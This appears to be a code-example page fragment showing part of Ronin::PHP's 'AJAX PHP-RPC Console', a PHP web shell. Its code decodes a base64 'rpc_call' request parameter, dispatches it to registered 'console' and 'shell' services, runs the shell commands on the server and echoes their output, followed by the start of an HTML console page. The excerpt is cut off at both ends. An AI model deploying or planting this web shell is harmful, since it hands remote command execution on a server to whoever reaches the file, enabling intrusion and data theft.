Пример #1
0
        }
        $command .= '; pwd';
        $output = $this->exec_output($command);
        $this->cwd = array_pop($output);
        $output_string = '';
        foreach ($output as $line) {
            $output_string .= "{$line}\n";
        }
        return $output_string;
    }
}
if (isset($_REQUEST['rpc_call'])) {
    $server = new RPCServer();
    $server->register_method('running', 'running');
    $server->register_method('fingerprint', 'fingerprint');
    $server->register_service('console', new ConsoleService());
    $server->register_service('shell', new ShellService());
    $xml = base64_decode(rawurldecode($_REQUEST['rpc_call']));
    $response = $server->call_method($xml);
    echo "<rpc>{$response}</rpc>";
    exit;
}
?>
-->

<html>
  <head>
    <title>Ronin::PHP - AJAX PHP-RPC Console</title>
    <link rel="stylesheet" type="text/css" href="ajax/css/layout.css">
    <script type="text/javascript" src="ajax/js/base64.js"></script>
    <script type="text/javascript" src="ajax/js/jquery.min.js"></script>